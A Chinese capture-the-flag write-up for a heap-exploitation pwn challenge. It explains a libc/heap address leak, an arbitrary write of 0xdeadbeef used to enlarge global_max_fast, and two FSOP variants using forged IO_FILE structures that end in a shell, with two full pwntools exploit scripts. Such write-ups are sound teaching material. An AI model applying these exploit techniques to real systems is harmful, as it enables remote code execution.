2022-长城杯-铁人三项赛 pwn wp

题确实不难,但确实比赛没写出来,可惜差了一点,要是再给半个小时或者一个小时应该就出了,最后卡在一个奇奇怪怪的点(就是 global_max_fast 为了避免写进去 0xdeadbeef 有点大,就用了 global_max_fast - 1 这个地址写入的,结果不知道为啥后面 free 掉堆块后,里面的数据直接没了)浪费了很多时间

保护策略:

image-20230110201221051

漏洞分析:

image-20230110201433955

这里可以泄露程序基地址,但是在这道题里没有什么用。

add 函数中,向堆块里写入数据的时候,没有用 \x00 来截断,同时可以 mallocsize 范围比较大,可以让堆块进入 large bin 中,因此这里的漏洞可以泄露 libcheap 地址。

image-20230110201520208

edit 函数中存在数组溢出,此处的 buf 数组为 __int64 的类型(八字节),所以 buf 的数组实际只有 0x20 个字节,因此可以溢出八个字节控制 v2 ,而 *v2=0xdeadbeef 就相当于任意地址(因为 v2 可控)写入一个 0xdeadbeef

image-20230110201742011

利用思路:

很明显 0xdeadbeef 本身没有任何意义,因此考虑这里是让我们改大某处地址里存放的数据,首先想到的就是更改 global max fast0xdeadbeef ,这样就可以在任意一个 libc 地址里写入一个 heap 地址。而此处比赛的时候想到的攻击是劫持 vtable 或者劫持 IO_FILE ,不过想了一会发现还是只能劫持 IO_FILE (应该是没法控制 flags 字段的)

然后打 FSOP ,这里有两种思路,第一个是伪造两次 IO_FILE ,让第一个伪造的 IO_FILE_chain 字段指向第二个 IO_FILE ,因为当时考虑的是第一个 IO_FILEflags 字段没法控制,于是还得再伪造一个 IO_FILE (但事实是,这里的 flags可以控制的)

方法一:

这里说一下伪造两个 IO_FILE 需要伪造的字段。

     if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;

在第一个结构体中,我们不希望执行 _IO_OVERFLOW 因此,要让前面的检查不通过。而前面的条件又由一个 || 连接,因此需要第一个条件和第二个条件全部不成立才可以。

这里伪造的字段为 fp->_mode == 0 fp->_IO_write_ptr== fp->_IO_write_base==0

这样前后两个条件全部无法成立,自然无法调用 _IO_OVERFLOW

在伪造字段绕过 if 的同时,不要忘记设置好 _chain 字段,让其指向第二个结构体。

在第二个结构体中,我们希望执行 _IO_OVERFLOW ,因此要将 fp->_mode == 0 fp->_IO_write_ptr ==1 fp->_IO_write_base == 0 ,这样即可触发 _IO_OVERFLOW 。在这之前只需要伪造好第二个结构体的 flags 字段和 vtable 中的 overflow 让其指向 system 的地址即可获取 shell

方法二:

第二个方法就是只伪造第一个结构体,因为我们是可以控制 vtable 的,而作为参数的 flags 字段位于堆块的 prev_size 上,在上一个堆块处于使用状态时, prev_size 是作为上一个堆块的用户区域,所以这个字段也是可控的,只需要让上一个堆块申请为 size8 结尾的即可。最后用 /bin/sh\x00 填满堆块,从而控制了结构体中的 flags 字段。别忘记伪造字段来触发 _IO_OVERFLOW

这里简单说一下篡改 global_max_fast ,最终效果是可以在一个高于 fastbinY 的地址处写一个堆地址(这个的攻击本质就是数组溢出,后续利用通常是攻击IO),但还有一个条件是对申请的堆块的 size 不能限制的太小,如果索引太小的话无法修改到我们期望的目的地址。然后利用过程是先申请一个精心构造好 size 的堆块,接着篡改 global_max_fast (这里顺序不要弄反),再将刚刚申请的堆块释放,即可触发攻击,向一个 libc 地址中写入刚刚申请的堆地址。

该手法利用的关键在于 size 如何计算 具体的话请参考 我的这篇文章

EXP

这里俩exp都放一下吧,整体思路都差不多其实。下面这个是伪造一个结构体的exp

tools源码

from tools import *
context.log_level='debug'
context.arch='amd64'
p,e,libc=load("a")

d_a=0xDC1
d_d=0xdd9
d_e=0xDCD

def add(length,content):
p.sendlineafter("4.exit\n",str(1))
p.sendlineafter("Content length:\n",str(length))
p.sendafter("ontent:\n",content)


def edit(content):
p.sendlineafter("4.exit\n",str(2))
p.sendlineafter("Comment:\n",content)

def delete(index):
p.sendlineafter("4.exit\n",str(3))
p.sendlineafter("Content id:",str(index))

add(0x100,'a')
add(0x500,'a')
add(0x108,'a')


delete(0)
add(0x100,'b'*8)#leak libc address
libc_base=recv_libc()-0x3c4b78
log_addr('libc_base')

delete(1)
add(0x1008,'/bin/sh\x00'*int(0x1008/8))
add(0x100,p64(0xdeadbeefdeadbeef)*2+b'a'*8)#leak heap address
p.recvuntil(b'a'*8)
heap_addr=u64(p.recv(6).ljust(8,b'\x00'))
log_addr('heap_addr')


fastbin_ptr=libc_base+0x3c4b28
global_max_fast=libc_base+0x3c67f8
sys_addr=libc_base+libc.symbols['system']
chain=libc_base+0x3c5688
vtable_addr=libc_base+0x3c56f8

delete(1)
add(0x1000,'a')
index=(chain-8-fastbin_ptr)/8
size=index*0x10+0x20
log_info(hex(int(size)))

add(int(size),p64(0)*3+p64(1)+p64(0)*7+p64(0)+p64(0)*13+p64(heap_addr+0x1710)+p64 (sys_addr)*4)#伪造的结构体
edit(b'a'*0x20+p64(global_max_fast))
debug(p,'pie',d_a,d_d,d_e,0xCF1,0xDE5)
delete(4)
p.sendlineafter("4.exit\n",str(4))
p.interactive()

下面这个exp是俩结构体的,比赛的时候写的是这个,代码比较烂

from tools import *
context.log_level='debug'
context.arch='amd64'
p,e,libc=load("a")

d_a=0xDC1
d_d=0xdd9
d_e=0xDCD

def add(length,content):
p.sendlineafter("4.exit\n",str(1))
p.sendlineafter("Content length:\n",str(length))
p.sendafter("ontent:\n",content)


def edit(content):
p.sendlineafter("4.exit\n",str(2))
p.sendlineafter("Comment:\n",content)

def delete(index):
p.sendlineafter("4.exit\n",str(3))
p.sendlineafter("Content id:",str(index))

add(0x100,'a')
add(0x500,'u')
add(0x100,'a')
delete(0)

add(0x100,'b'*8)

libc_base=recv_libc()-0x3c4b78
log_addr('libc_base')

delete(1)

add(0x1000,'a')
add(0x100,p64(0xdeadbeefdeadbeef)*2+b'a'*8)
p.recvuntil(b'a'*8)
heap_addr=u64(p.recv(6).ljust(8,b'\x00'))
log_addr('heap_addr')
fastbin_ptr=libc_base+0x3c4b28
global_max_fast=libc_base+0x3c67f8

delete(1)
sys_addr=libc_base+libc.symbols['system']
file=FileStructure()
file.flags=b'/bin/sh\x00'
file.vtable=heap_addr+0x620+0x10+0xe0
file._IO_write_ptr=1
file._IO_save_base=libc.symbols['system']+libc_base
add(0x1000,bytes(file)+p64(sys_addr)*0x10)

chain=libc_base+0x3c5688
vtable_addr=libc_base+0x3c56f8
index=(chain-8-fastbin_ptr)/8
size=index*0x10+0x20

add(int(size),p64(0)*3+p64(0)+p64(0)*7+p64(heap_addr+0x620+0x10)+p64(0)*10+p32(0))
edit(b'a'*0x20+p64(global_max_fast))
debug(p,'pie',d_a,d_d,d_e,0xCF1,0xDE5)
delete(4)
p.sendlineafter("4.exit\n",str(4))
p.interactive()

比赛结束,环境直接关闭了,也没法打远程,就自己打了下本地。

image-20230110211123791